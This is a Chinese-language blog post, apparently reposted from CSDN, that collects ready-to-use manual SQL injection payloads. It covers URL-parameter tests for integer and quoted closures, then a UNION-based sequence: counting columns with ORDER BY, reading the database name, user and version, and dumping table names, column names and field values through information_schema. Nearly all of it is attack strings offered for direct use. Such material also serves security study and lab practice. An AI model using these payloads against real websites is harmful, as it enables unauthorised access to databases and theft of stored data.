【SQL注入】手工注入常用语句合集

直接就能用的常用语句

一、注入前的准备:爆闭合

0x1 整形的闭合
SELECT * FROM users WHERE id=$id LIMIT 0,1

?id=3                 #用户输入  3
?id=3 -- -            #用户输入  3-- -
?id=3 and 1=1-- -     #用户输入  and 1=1-- -  
?id=3 and 1=2-- -     #用户输入  and 1=2-- - 
-------------------------------------
0x2 字符的闭合
SELECT * FROM users WHERE id='$id' LIMIT 0,1
SELECT * FROM users WHERE id="$id" LIMIT 0,1
SELECT * FROM users WHERE id=('$id') LIMIT 0,1

?id=3'                 #用户输入  3'
?id=3' -- -            #用户输入  3'-- -
?id=3' and 1=1-- -     #用户输入  3' and 1=1-- - 
?id=3' and 1=2-- -     #用户输入  3' and 1=2-- -
--------------------------------------

二、拿来就能用的常用注入语句

(语句最后别忘了加--+哦)

  1. 根据注入位置数据类型将sql注入分类
  2. 利用order判断字段数
    ?id=-1 order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错
    ?id=1' order by 3
  3. 利用 union select 联合查询
    将id值设置成不成立,即可探测到可利用的字段数
    ?id=-1 union select 1,2,3
  4. 利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号
    ?id=-1 union select 1,database(),version()
  5. 利用 union select 联合查询,获取表名
    ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知库名'
  6. 利用 union select 联合查询,获取字段名(列名)
    ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='已知表名'
  7. 利用 union select 联合查询,获取字段值
    ?id=-1 union select 1,2,group_concat(已知字段名,':',已知字段名) from 已知表名

猜你喜欢

转载自blog.csdn.net/ON_Zero/article/details/129465987